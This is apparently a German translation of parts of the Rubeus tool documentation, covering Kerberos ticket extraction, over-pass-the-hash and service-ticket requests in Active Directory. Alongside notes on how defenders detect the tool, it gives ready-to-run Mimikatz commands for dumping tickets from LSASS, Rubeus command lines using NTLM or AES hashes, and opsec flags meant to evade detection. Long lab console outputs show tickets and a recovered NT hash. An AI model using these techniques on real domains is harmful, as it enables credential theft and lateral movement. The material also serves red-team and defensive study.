Aus der Perspektive von Netzwerk- oder Domänencontroller-Logs wird, da Rubeus viele Teile des normalen Kerberos-Protokolls implementiert, die Haupterkennungsmethode die Verwendung von rc4_hmac in Kerberos-Austauschen sein. Moderne Windows-Domänen (funktionale Ebene 2008 und höher) verwenden standardmäßig AES-Verschlüsselung in normalen Kerberos-Austauschen (mit wenigen Ausnahmen wie Vertrauenstickets zwischen Bereichen). Die Verwendung eines rc4_hmac- (NTLM-) Hashs anstelle eines aes256_cts_hmac_sha1- (oder aes128-) Schlüssels in einem Kerberos-Austausch führt zu einem Signal, das auf Host-Ebene, Netzwerkebene (wenn Kerberos-Verkehr analysiert wird) und Domänencontroller-Ereignislog-Ebene erkennbar ist, manchmal auch als „Verschlüsselungs-Herabstufung" bezeichnet.
Eine häufige Art und Weise, wie Angriffstools erkannt werden, ist der Weaponization-Vektor für den Code. Wenn Rubeus über PowerShell ausgeführt wird (dies schließt Empire ein), gelten alle standardmäßigen PowerShell V5-Schutzmechanismen (tiefe Skriptblock-Protokollierung, AMSI usw.). Wenn Rubeus als Binärdatei auf der Festplatte ausgeführt wird, greift die standardmäßige AV-Signaturerkennung (ein Grund, warum wir keine kompilierten Versionen von Rubeus veröffentlichen, da brüchige Signaturen albern sind ; ). Wenn Rubeus als Bibliothek verwendet wird, ist es anfällig für die Methode, mit der das primäre Tool ausgeführt wird. Und wenn Rubeus durch die Ausführung von nicht verwaltetem Assembly (wie Cobalt Strikes execute_assembly) ausgeführt wird, wird Codeinjektion zwischen Prozessen durchgeführt und die CLR in einen potenziell nicht-.NET-Prozess geladen, obwohl dieses Signal für die Ausführung von .NET-Code mit dieser Methode vorhanden ist.
Außerdem wurde AMSI (die Antimalware Scan Interface) zu .NET 4.8 hinzugefügt. Ryan Cobb hat weitere Details zu den offensiven Auswirkungen davon im Defense-Abschnitt seines Beitrags „Entering a Covenant: .NET Command and Control“.
Angenommen, wir haben erhöhten Zugriff auf einem Computer und möchten Benutzeranmeldeinformationen zur Wiederverwendung extrahieren.
Mimikatz ist das Schweizer Taschenmesser der Anmeldeinformations-Extraktion mit mehreren Optionen. Der Befehl sekurlsa::logonpasswords öffnet einen Leszugriff auf LSASS, listet die auf dem System vorhandenen Anmeldesitzungen auf, durchläuft die Standardauthentifizierungspakete für jede Anmeldesitzung und extrahiert alle umkehrbaren Passwort-/Anmeldeinformationsmaterialien, die vorhanden sind. Nebenbei: Der Befehl sekurlsa::ekeys listet ALLE Schlüsseltypen auf, die für das Kerberos-Paket vorhanden sind.
Rubeus hat keinen Code, um LSASS zu berühren (und das ist auch nicht beabsichtigt), daher beschränkt sich seine Funktionalität auf das Extrahieren von Kerberos-Tickets durch die Verwendung der LsaCallAuthenticationPackage()-API. Aus einer nicht erhöhten Perspektive werden die Sitzungsschlüssel für TGTs standardmäßig nicht zurückgegeben, sodass nur extrahierte Service-Tickets verwendbar sind (der Befehl tgtdeleg verwendet einen Kekeo-Trick, um ein verwendbares TGT für den aktuellen Benutzer zu erhalten). In einem High-Integritäts-Kontext wird eine GetSystem entsprechende Token-Duplizierung ausgeführt, um auf SYSTEM zu erhöhen, und eine gefälschte Anmeldeanwendung wird mit dem API-Aufruf LsaRegisterLogonProcess() registriert. Dies ermöglicht die privilegierte Aufzählung und Extraktion aller aktuell im LSA registrierten Tickets auf dem System, was zur Ausgabe von Base64-kodierten .kirbi-Dateien führt, die später wiederverwendet werden können.
Mimikatz kann die gleiche Base64-.kirbi-Extraktion mit den folgenden Befehlen durchführen:
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # standard::base64 /output:true
mimikatz # kerberos::list /export
Mimikatz kann Tickets auch direkt aus dem LSASS-Speicher herausschneiden mit:
mimikatz # privilege::debug
mimikatz # standard::base64 /output:true
mimikatz # sekurlsa::tickets /export
Da „alles heimlich ist, bis jemand danach sucht", ist es fraglich, ob die LSASS-Manipulation oder die Ticket-Extraktion über den LsaCallAuthenticationPackage()-API-Aufruf „heimlicher" ist. Aufgrund der Popularität von Mimikatz ist das Öffnen eines Handles auf LSASS und das Lesen/Schreiben seines Speichers ein großes Ziel für die Erkennung und/oder Verhinderung durch EDR geworden. Allerdings wird LsaCallAuthenticationPackage() von einer ziemlich begrenzten Anzahl von Prozessen verwendet, und das Erstellen einer gefälschten Anmeldeanwendung mit LsaRegisterLogonProcess() ist ebenfalls ein ziemlich anomales Verhalten. Allerdings scheint die vollständige API-Level-Introspektion und -Baseline ein schwierigeres technisches Problem zu sein als der LSASS-Schutz.
Angenommen, wir stellen den rc4_hmac-Hash (NTLM) eines Benutzers wieder her und möchten diese Anmeldeinformationen wiederverwenden, um einen weiteren Computer zu kompromittieren, auf dem das Benutzerkonto privilegierten Zugriff hat.
Nebenbei: pass-the-hash != over-pass-the-hash. Die traditionelle pass-the-hash-Technik beinhaltet die Wiederverwendung eines Hashs über das NTLMv1/NTLMv2-Protokoll, das Kerberos überhaupt nicht berührt. Der over-pass-the-hash-Ansatz wurde von Benjamin Delpy und Skip Duckwall entwickelt (siehe ihre Präsentation „Abusing Microsoft Kerberos - Sorry you guys don't get it“ für weitere Informationen). Dieser Ansatz verwandelt einen Hash/Schlüssel (rc4_hmac, aes256_cts_hmac_sha1 usw.) für einen in die Domäne eingebundenen Benutzer in ein vollwertiges Ticket-Granting-Ticket (TGT).
Vergleichen wir „over-passing-the-hash" über den Mimikatz-Befehl sekurlsa::pth mit dem Befehl asktgt von Rubeus (oder Kekeo, wenn Sie möchten).
Wenn sekurlsa::pth zum Over-pass-the-hash verwendet wird, erstellt Mimikatz zunächst einen neuen Anmeldetyp-9-Prozess mit Dummy-Anmeldeinformationen – dies erstellt eine neue „Opfer"-Anmeldesitzung, die nicht mit der aktuellen Anmeldesitzung interagiert. Es öffnet dann den LSASS-Prozess mit der Fähigkeit, in den Prozessspeicher zu schreiben, und der bereitgestellte Hash/Schlüssel wird dann in den entsprechenden Abschnitt für die zugehörige Anmeldesitzung eingefügt (in diesem Fall die „Opfer"-Anmeldesitzung, die gestartet wurde). Dies führt dazu, dass der normale Kerberos-Authentifizierungsprozess normal abläuft, als ob der Benutzer sich normal angemeldet hätte, und verwandelt den bereitgestellten Hash in ein vollwertiges TGT.
Wenn der Befehl asktgt von Rubeus ausgeführt wird (oder das Äquivalent von Kekeo), wird das rohe Kerberos-Protokoll verwendet, um ein TGT anzufordern, das dann auf die aktuelle Anmeldesitzung angewendet wird, wenn das Flag /ptt übergeben wird.
Beim Mimikatz-Ansatz sind Administratorrechte erforderlich, da Sie direkt in den LSASS-Speicher eingreifen. Wie bereits erwähnt, hat die Popularität von Mimikatz auch dazu geführt, dass diese Art von Verhalten (Öffnen eines Handles auf LSASS und Lesen/Schreiben seines Speichers) ein großes Ziel für die Erkennung und/oder Verhinderung durch EDR ist. Beim Rubeus/Kekeo-Ansatz sind keine Administratorrechte erforderlich, da LSASS nicht berührt wird. Wenn das Ticket jedoch auf die aktuelle Anmeldesitzung angewendet wird (mit /ptt), wird das TGT für die aktuelle Anmeldesitzung überschrieben. Dieses Verhalten kann (mit Administrationszugriff) vermieden werden, indem der Befehl /createnetonly verwendet wird, um einen Opferprozess/eine Opferanmeldesitzung zu erstellen, und dann /ptt /ticket:X /luid:0xa.. mit der LUID des neu erstellten Prozesses verwendet wird. Bei Verwendung von Cobalt Strike können Sie mit dem Befehl make_token mit Dummy-Anmeldeinformationen und dann kerberos_ticket_use mit dem von Rubeus abgerufenen Ticket das neue TGT auf eine Weise anwenden, die a) keine Administratorrechte benötigt und b) das TGT der aktuellen Anmeldesitzung nicht überschreibt.
Wir sind der Meinung, dass der LSASS-Manipulationsansatz aufgrund der Beliebtheit der Technik (derzeit) eher erkannt oder abgemildert wird. Allerdings führt der Rubeus-Ansatz zu einem weiteren Stück erkennbaren Verhaltens. Kerberos-Verkehr zu Port 88 sollte normalerweise nur von lsass.exe ausgehen – das Senden von rohem Verkehr dieser Art von einem abnormalen Prozess könnte erkennbar sein, wenn die Informationen gesammelt werden können.
Nebenbei: Eine Möglichkeit, wie beide Ansätze potenziell erkannt werden können, ist die zuvor erwähnte Erkennung der „Verschlüsselungs-Herabstufung". Verwenden Sie zum Abrufen von AES-Schlüsseln das Mimikatz-Modul sekurlsa::ekeys, um ALLE Kerberos-Verschlüsselungsschlüssel zurückzugeben (das gleiche gilt für lsadump::dcsync), die besser zu verwenden sind, wenn Sie versuchen, einige Erkennungen zu umgehen.
Aufschlüsselung der Ticket-Anforderungsbefehle:
Die Aktion asktgt erstellt rohen AS-REQ-Verkehr (TGT-Anforderung) für den angegebenen Benutzer und Verschlüsselungsschlüssel (/rc4, /aes128, /aes256 oder /des). Ein Flag /password kann ebenfalls anstelle eines Hashs verwendet werden – in diesem Fall wird /enctype:X standardmäßig auf RC4 für den Austausch gesetzt, mit des|aes128|aes256 als Optionen. Wenn keine /domain angegeben wird, wird die aktuelle Domäne des Computers extrahiert, und wenn kein /dc angegeben wird, wird dasselbe für den aktuellen Domänencontroller des Systems durchgeführt. Wenn die Authentifizierung erfolgreich ist, wird die resultierende AS-REP analysiert und die KRB-CRED (ein .kirbi, das das TGT des Benutzers enthält) als Base64-Blob ausgegeben. Das Flag /ptt führt ein „Pass-the-Ticket" durch und wendet die resultierende Kerberos-Anmeldeinformation auf die aktuelle Anmeldesitzung an. Das Flag /luid:0xA.. wendet das Ticket auf die angegebene Anmeldesitzungs-ID an (Erhöhung erforderlich), anstatt auf die aktuelle.
Beachten Sie, dass zum Anfordern von TGTs oder deren Anwendung auf die aktuelle Anmeldesitzung keine erhöhten Berechtigungen auf dem Host erforderlich sind, sondern nur der korrekte Hash des Zielbenutzers. Ein weiterer Opsec-Hinweis: Es kann immer nur ein TGT auf die aktuelle Anmeldesitzung angewendet werden, sodass das vorherige TGT überschrieben wird, wenn das neue Ticket mit der Option /ptt angewendet wird. Eine Problemumgehung besteht darin, den Parameter /createnetonly:C:\X.exe zu verwenden (der den Prozess standardmäßig ausblendet, es sei denn, das Flag /show wird angegeben), oder das Ticket anzufordern und es mit ptt /luid:0xA.. auf eine andere Anmeldesitzung anzuwenden.
Standardmäßig bestehen mehrere Unterschiede zwischen AS-REQs, die von Rubeus generiert werden, und echten AS-REQs. Um AS-REQs zu erstellen, die echten Anforderungen ähneln, kann das Flag /opsec verwendet werden. Dies sendet zuerst eine initiale AS-REQ ohne Preauthentication; wenn dies erfolgreich ist, wird die resultierende AS-REP entschlüsselt und das TGT zurückgegeben, andernfalls wird dann eine AS-REQ mit Preauthentication gesendet. Da dieses Flag den Rubeus-Verkehr heimlicher machen soll, kann es standardmäßig nicht mit einem anderen Verschlüsselungstyp als aes256 verwendet werden und gibt lediglich eine Warnung aus und wird beendet, wenn ein anderer Verschlüsselungstyp verwendet wird. Um die Verwendung anderer Verschlüsselungstypen mit den /opsec-Änderungen zu ermöglichen, existiert das Flag /force.PKINIT-Authentifizierung wird mit dem Argument /certificate:X unterstützt. Wenn der private Schlüssel innerhalb der PFX-Datei passwortgeschützt ist, kann dieses Passwort mit dem Argument /password:X übergeben werden. Bei Verwendung der PKINIT-Authentifizierung kann das Flag /getcredentials verwendet werden, um automatisch ein U2U-Dienstticket anzufordern und den NT-Hash des Kontos abzurufen.
Die Anforderung eines TGT ohne PAC kann mit dem Schalter /nopac erfolgen.
Die Verwendung eines KDC-Proxys (MS-KKDCP) zur Durchführung der Anfrage ist mit dem Argument /proxyurl:URL möglich. Die vollständige URL für den KDC-Proxy ist erforderlich, z. B. https://kdcproxy.example.com/kdcproxy
Das Flag /nopreauth kann verwendet werden, um ein AS-REQ ohne Pre-Authentifizierung zu senden. Das Argument /service:SPN kann verwendet werden, um Diensttickets direkt über AS-REQs anzufordern; es akzeptiert einen SPN oder einen Benutzernamen.
Anforderung eines Tickets über einen RC4-Hash für [email protected], Anwendung auf die aktuelle Anmeldesitzung:
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.1
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg
oAMCAQKhGTAXGwZrcmJ0Z3QbDXRlc3RsYWIubG9jYWyjggRlMIIEYaADAgESoQMCAQKiggRTBIIETwrl
zIpKjTT11eteJCn+0rtlKwtTW/8XvoWXy61rOCrOIo16YPiMe4usXoJaOqsvCydMgd6955hT+IoFMyGG
VfVxetoM1Oa5aPA2sfzJeogn4RpFBoY5vjjKBzPaTJptPRX7Wjg0o1FTszJET4mhQyLKxQMgprKcc2mz
yniQzGPI19O95aSoPpNar+4lKlyBsL4QjSEeBdZQ2/Ab1JVu3eh1xCsWkKUUlabbzeZwo8SG0QkZ0DKk
qOD8hx5wbQ+w8emcLvHMIrmg1xO2OPngK76C3daeiS59UVADSz/n3H7Tfuk+EXSdZ8DC4/c8KIZvHsC6
cO/ymVFxyuRJLg7VThl8keZmbWzYei6xAwH7mUAUEA1lk0pEHx12nAHcKILsbS3F9wAcHMNEGe/Xa3UK
INJ0q+JvdJpCPo/wgyu7wjKgsdpgUV0siVfpGaxG7yh6s3U2tAlBWnWdGF/Gy/FkOk/hJxhTTHcHa5XE
LTaXY9cnraee+llJqmOnHfjPa5+XNTnVtBZjT0SPRnSXfdPG5BgiXYlCjr5ykhF8MdVE1Se+WtEZJuPj
lYrCtWo2oEjBbYMb3YGTcWh5+oWNY1QdxSpyFc8IDQOTOCnQ+nsQf78phU7svTBm0b5AqqPD/olz1RYm
f4qR+90TcASaQGwHUQbpFnLb2U9BHwNS+SlRwafFT5qlTmXaqoQMMjknospm0+v0U8hd8KbZ4jwK2hM+
vE74bOiAMdjTf5YLDorRyuFUoa7oIaJZTXxsLmqZsBCsUnH5etXTb9vHj7Dl27wyP9snRHIWuE8Rdo9Z
zAJK6PESaBcUqhKqkjWLUKDuT2+SCduPVF6+3QJB0xLJrwXKp/MiV418H/pHRoy6JkKKw2m1bw45P8Az
l54g75WJqEiAzj/+I64TUfbEFJtd9OHujAKzjMMiKRQKwTKR1Jfb6gTrv6K0GCTJ15W84DeWc47jTutE
HbWxuKib3niTTM5YcHZcN6h/V8Zef8r4fdhY20xGCwqlT9X5md96+647bRq/AZDtiAEaVAH5f3QTQen8
o6XpVqSoZxRASEs3oKFfNunBFJ+QxOL4A47iO1JH0wlM7L2Vx+QeDMfqUh3i9S71YBLdHtPflo8ivmNS
gf0dIeAE2rHRNQn+q7vvrl4r/Bxy3CikzBWnq9Nff8vUJmZ0MQBc4mBpykuuFtLuEJOELdUzW4uCF/9a
JffKDnWk0lIDymImtxqTO0Y/mk0zEQ7RZNUIR3vtrNSO84CjZ/YFYCIdIR5wCzztPSZ0RH7C4lVueBO5
ZoDiWYvPuOQsZHkP2XD+GQtu0hN6MOfLOKGVmNrKs1KRfWhbqnTQudjFSkvgHlgjIslKJDa6WzmSQhdW
fPIA9ggjCmQtyB6seiYi9LdJuQ+GiiF2UphTEJ+a5DR6rGYbg4hhd+ru2Z8Lt5rBojliLnedafyZJ15t
alU+n8aNdIPXfVmsR3caTXkncNBlo4HWMIHToAMCAQCigcsEgch9gcUwgcKggb8wgbwwgbmgGzAZoAMC
ARehEgQQ+zY8adXi2NuvkAxl1ohUOKEPGw1URVNUTEFCLkxPQ0FMohIwEKADAgEBoQkwBxsFZGZtLmGj
BwMFAEDhAAClERgPMjAxOTAyMjUyMzA2MDdaphEYDzIwMTkwMjI2MDQwNjA3WqcRGA8yMDE5MDMwNDIz
MDYwN1qoDxsNVEVTVExBQi5MT0NBTKkiMCCgAwIBAqEZMBcbBmtyYnRndBsNdGVzdGxhYi5sb2NhbA==
[*] Action: Import Ticket
[+] Ticket successfully imported!
[*] Action: Describe Ticket
UserName : dfm.a
UserRealm : TESTLAB.LOCAL
ServiceName : krbtgt/testlab.local
ServiceRealm : TESTLAB.LOCAL
StartTime : 2/25/2019 3:06:07 PM
EndTime : 2/25/2019 8:06:07 PM
RenewTill : 3/4/2019 3:06:07 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : +zY8adXi2NuvkAxl1ohUOA==
Anforderung eines Tickets über einen aes256_hmac-Hash für [email protected], Starten eines neuen versteckten Prozesses und Anwendung des Tickets auf diese Anmeldesitzung. Hinweis: Erweiterte Rechte erforderlich!
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /domain:testlab.local /aes256:e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27 /createnetonly:C:\Windows\System32\cmd.exe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Create Process (/netonly)
[*] Showing process : False
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 7564
[+] LUID : 0x3c4c241
[*] Action: Ask TGT
[*] Using aes256_cts_hmac_sha1 hash: e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27
[*] Target LUID : 63226433
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 234 bytes
[*] Received 1620 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFujCCBbagAwIBBaEDAgEWooIEvzCCBL...(snip)...
[*] Action: Import Ticket
[*] Target LUID: 0x3c4c241
[+] Ticket successfully imported!
Beachten Sie, dass die Parameter /luid und /createnetonly erweiterte Rechte erfordern!
Anforderung eines Tickets mittels Zertifikat und Verwendung von /getcredentials zum Abrufen des NT-Hashes:
C:\Rubeus>Rubeus.exe asktgt /user:harmj0y /domain:rubeus.ghostpack.local /dc:pdc1.rubeus.ghostpack.local /getcredentials /certificate:MIIR3QIB...(snip)...QI/GZmyPRFEeE=
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=Harm J0y, CN=Users, DC=rubeus, DC=ghostpack, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'rubeus.ghostpack.local\harmj0y'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIF9DCCBfCgAwIBBaEDAgEWooIE7DCCBOhhggTkMIIE4KADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
YnRndBsWcnViZXVzLmdob3N0cGFjay5sb2NhbA==
ServiceName : krbtgt/rubeus.ghostpack.local
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : harmj0y
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 14/07/2021 02:25:33
EndTime : 14/07/2021 12:25:33
RenewTill : 21/07/2021 02:25:33
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : 7MS2ajfZo4HedoK+K3dLcQ==
ASREP (key) : 9B1C28A276FBBE557D0F9EE153FE24E1
[*] Getting credentials using U2U
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : C69A7EA908898C23B72E65329AF7E3E8
Die Aktion asktgs erstellt/parst eine rohe TGS-REQ/TGS-REP-Dienstticket-Anfrage unter Verwendung des angegebenen TGT /ticket:X. Dieser Wert kann eine Base64-Kodierung einer .kirbi-Datei oder der Pfad zu einer .kirbi-Datei auf der Festplatte sein. Wenn kein /dc angegeben ist, wird der aktuelle Domänencontroller des Computers extrahiert und als Ziel für den Anforderungsverkehr verwendet. Das Flag /ptt führt ein "Pass-the-Ticket" durch und wendet das resultierende Dienstticket auf die aktuelle Anmeldesitzung an. Es muss ein oder mehrere /service:X-SPNs angegeben werden, getrennt durch Kommas.
Die unterstützten Verschlüsselungstypen in der konstruierten TGS-REQ sind RC4_HMAC, AES128_CTS_HMAC_SHA1 und AES256_CTS_HMAC_SHA1. In diesem Fall wird die höchste gegenseitig unterstützte Verschlüsselung vom KDC verwendet, um das zurückgegebene Dienstticket zu erstellen. Wenn Sie DES, RC4 oder AES128/256-Schlüssel erzwingen möchten, verwenden Sie /enctype:[RC4|AES128|AES256|DES].
Um ein Dienstticket für ein Konto unter Verwendung eines Enterprise-Principals (d. h. [email protected]) anzufordern, kann das Flag /enterprise verwendet werden.
Standardmäßig gibt es einige Unterschiede zwischen TGS-REQs, die von Rubeus generiert werden, und echten TGS-REQs. Um TGS-REQs zu erstellen, die echten Anfragen ähnlicher sind, kann das Flag /opsec verwendet werden. Dies führt auch dazu, dass automatisch eine zusätzliche TGS-REQ gesendet wird, wenn ein Dienstticket für ein Konto angefordert wird, das für uneingeschränkte Delegierung konfiguriert ist. Da dieses Flag den Rubeus-Verkehr unauffälliger machen soll, kann es standardmäßig nicht mit einem anderen Verschlüsselungstyp als aes256 verwendet werden; es wird lediglich eine Warnung ausgegeben und beendet, wenn ein anderer Verschlüsselungstyp verwendet wird.
Um manuell mit anderen Szenarien zu spielen, kann /tgs:X verwendet werden, um ein zusätzliches Ticket bereitzustellen, das an den Anfragetext angehängt wird. Dies fügt auch die KDC-Option für eingeschränkte Delegierung hinzu und vermeidet das dynamische Bestimmen der Domäne aus dem angegebenen SPN /service:X. Aus diesem Grund wurde das Argument /targetdomain:X implementiert, um die Anfrage zur Verwendung der angegebenen Domäne zu zwingen, was nützlich ist, um delegierte Diensttickets aus einer fremden Domäne oder Tickets mit ungewöhnlichen SPNs anzufordern.
Das Flag /u2u wurde implementiert, um User-to-User-Tickets anzufordern. Zusammen mit dem Argument /tgs:X (zur Bereitstellung des TGT des Zielkontos) kann das Argument /service:X der Benutzername des Kontos sein, für das das bereitgestellte TGT bestimmt ist (mit dem Argument /tgs:X). Mit dem Argument /targetuser:X wird ein PAC jedes anderen Kontos angefordert, indem ein PA-FOR-USER-PA-Datenabschnitt mit dem Benutzernamen des Zielbenutzers eingefügt wird.
Das Flag /printargs gibt die Argumente aus, die erforderlich sind, um ein Ticket mit denselben PAC-Werten zu fälschen, wenn das PAC lesbar ist. Dies könnte durch die Bereitstellung des Arguments /servicekey:X oder die Durchführung einer /u2u-Anfrage mit einem bekannten Sitzungsschlüssel erfolgen.
Die Verwendung eines KDC-Proxys (MS-KKDCP) zur Durchführung der Anfrage ist mit dem Argument /proxyurl:URL möglich. Die vollständige URL für den KDC-Proxy ist erforderlich, z. B. https://kdcproxy.example.com/kdcproxy
Das Flag /keyList wurde für Kerberos Key List Requests implementiert. Diese Anfragen müssen ein gefälschtes partielles TGT von einem schreibgeschützten Domänencontroller im Parameter /ticket:BASE64|FILE.KIRBI nutzen. Weitere Details zu diesem gefälschten TGT finden Sie im Abschnitt golden. Darüber hinaus muss das Feld /spn:x auf den KRBTGT-SPN innerhalb der Domäne gesetzt werden, z. B. KRBTBT/domain.local.
Die Aktion asktgs unterstützt auch das Anfordern von Diensttickets über das Kerberos-Authentifizierungspaket mittels LSASS. Dieser Betriebsmodus kann aktiviert werden, indem das Argument /ticket weggelassen wird. Standardmäßig wird das TGT verwendet, das der aktuellen Anmeldesitzung zugeordnet ist. Eine alternative Anmeldesitzung kann durch die Angabe des Arguments /luid:xxx angesteuert werden. Lokale Administratorrechte sind erforderlich, wenn andere Anmeldesitzungen angesteuert werden. Derzeit können nur einfache Diensttickets über LSASS angefordert werden. Argumente für Funktionen wie S4U2Self, U2U, Schlüsselliste und KDC-Proxy werden ignoriert. Das Anfordern von Diensttickets über LSASS kann oft opsec-freundlicher sein, da der Kerberos-Verkehr von LSASS ausgeht. Dieser Modus ist auch für Szenarien erforderlich, in denen Credential Guard / Remote Credential Guard aktiv ist, da das Auslesen von TGTs mit Credential Guard nicht möglich ist.
Anforderung eines TGT für dfm.a und anschließende Verwendung dieses Tickets zur Anforderung eines Diensttickets für die SPNs "LDAP/primary.testlab.local" und "cifs/primary.testlab.local":
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1537 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /service:LDAP/primary.testlab.local,cifs/primary.testlab.local /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'LDAP/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1514 bytes
[*] Received 1562 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'cifs/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1514 bytes
[*] Received 1562 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\Rubeus>Rubeus.exe klist
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: List Kerberos Tickets (Current User)
[0] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
Server Name : cifs/primary.testlab.local @ TESTLAB.LOCAL
Client Name : dfm.a @ TESTLAB.LOCAL
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
[1] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
Server Name : LDAP/primary.testlab.local @ TESTLAB.LOCAL
Client Name : dfm.a @ TESTLAB.LOCAL
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
Anforderung eines Diensttickets für ein AES-fähiges Dienstkonto, wobei angegeben wird, dass wir nur RC4_HMAC unterstützen:
C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip).../service:roast/me /enctype:rc4
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.1
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Requesting 'rc4_hmac' etype for the service ticket
[*] Building TGS-REQ request for: 'roast/me'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFrjCCBaqgAwIBBaEDA...(snip)...
[*] Action: Describe Ticket
UserName : dfm.a
UserRealm : TESTLAB.LOCAL
ServiceName : roast/me
ServiceRealm : TESTLAB.LOCAL
StartTime : 2/25/2019 3:10:59 PM
EndTime : 2/25/2019 8:09:54 PM
RenewTill : 3/4/2019 3:09:54 PM
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : Gg3zZicIl5c50KGecCf8XA==
Anforderung eines User-to-User-Diensttickets unter Einbeziehung des PA for User-PA-Datenabschnitts (eine S4U2self-Anfrage). Es ist möglich, ein lesbares PAC für jeden Benutzer zu erhalten:
C:\Rubeus>Rubeus.exe asktgs /u2u /targetuser:ccob /ticket:doIFijCCBYagAwIBBaED...(snip)...3RwYWNrLmxvY2Fs /tgs:doIFijCCBYagAwIBBaEDAg...(snip)...YWNrLmxvY2Fs
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
